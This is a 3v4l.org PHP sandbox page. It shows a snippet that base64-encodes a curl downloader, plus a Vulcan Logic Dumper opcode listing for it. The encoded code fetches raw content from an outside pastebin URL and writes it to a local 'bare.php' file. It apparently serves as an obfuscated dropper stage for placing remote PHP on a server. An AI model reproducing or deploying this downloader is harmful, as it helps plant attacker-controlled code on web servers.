3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo base64_encode("$url='http://inetpro.org/pastebin/ee43c37fdfdc449c9d5c5898edf546c4/view/raw'; $ch = curl_init(); $fp = @fopen('./bare.php', 'w'); $timeout = 5; curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $data = curl_exec($ch); curl_close($ch);");
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/JrcAv
function name:  (null)
number of ops:  33
compiled vars:  !0 = $url, !1 = $ch, !2 = $fp, !3 = $timeout, !4 = $data
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   INIT_FCALL                                               'base64_encode'
          1        ROPE_INIT                                    28  ~6      !0
          2        ROPE_ADD                                      1  ~6      ~6, '%3D%27http%3A%2F%2Finetpro.org%2Fpastebin%2Fee43c37fdfdc449c9d5c5898edf546c4%2Fview%2Fraw%27%3B+'
          3        ROPE_ADD                                      2  ~6      ~6, !1
          4        ROPE_ADD                                      3  ~6      ~6, '+%3D+curl_init%28%29%3B+'
          5        ROPE_ADD                                      4  ~6      ~6, !2
          6        ROPE_ADD                                      5  ~6      ~6, '+%3D+%40fopen%28%27.%2Fbare.php%27%2C+%27w%27%29%3B+'
          7        ROPE_ADD                                      6  ~6      ~6, !3
          8        ROPE_ADD                                      7  ~6      ~6, '+%3D+5%3B+curl_setopt%28'
          9        ROPE_ADD                                      8  ~6      ~6, !1
         10        ROPE_ADD                                      9  ~6      ~6, '%2C+CURLOPT_FILE%2C+'
         11        ROPE_ADD                                     10  ~6      ~6, !2
         12        ROPE_ADD                                     11  ~6      ~6, '%29%3B+curl_setopt%28'
         13        ROPE_ADD                                     12  ~6      ~6, !1
         14        ROPE_ADD                                     13  ~6      ~6, '%2C+CURLOPT_URL%2C+'
         15        ROPE_ADD                                     14  ~6      ~6, !0
         16        ROPE_ADD                                     15  ~6      ~6, '%29%3B+curl_setopt%28'
         17        ROPE_ADD                                     16  ~6      ~6, !1
         18        ROPE_ADD                                     17  ~6      ~6, '%2C+CURLOPT_RETURNTRANSFER%2C+1%29%3B+curl_setopt%28'
         19        ROPE_ADD                                     18  ~6      ~6, !1
         20        ROPE_ADD                                     19  ~6      ~6, '%2C+CURLOPT_CONNECTTIMEOUT%2C+'
         21        ROPE_ADD                                     20  ~6      ~6, !3
         22        ROPE_ADD                                     21  ~6      ~6, '%29%3B+'
         23        ROPE_ADD                                     22  ~6      ~6, !4
         24        ROPE_ADD                                     23  ~6      ~6, '+%3D+curl_exec%28'
         25        ROPE_ADD                                     24  ~6      ~6, !1
         26        ROPE_ADD                                     25  ~6      ~6, '%29%3B+curl_close%28'
         27        ROPE_ADD                                     26  ~6      ~6, !1
         28        ROPE_END                                     27  ~5      ~6, '%29%3B'
         29        SEND_VAL                                                 ~5
         30        DO_ICALL                                         $20     
         31        ECHO                                                     $20
         32      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
151.84 ms | 1396 KiB | 15 Q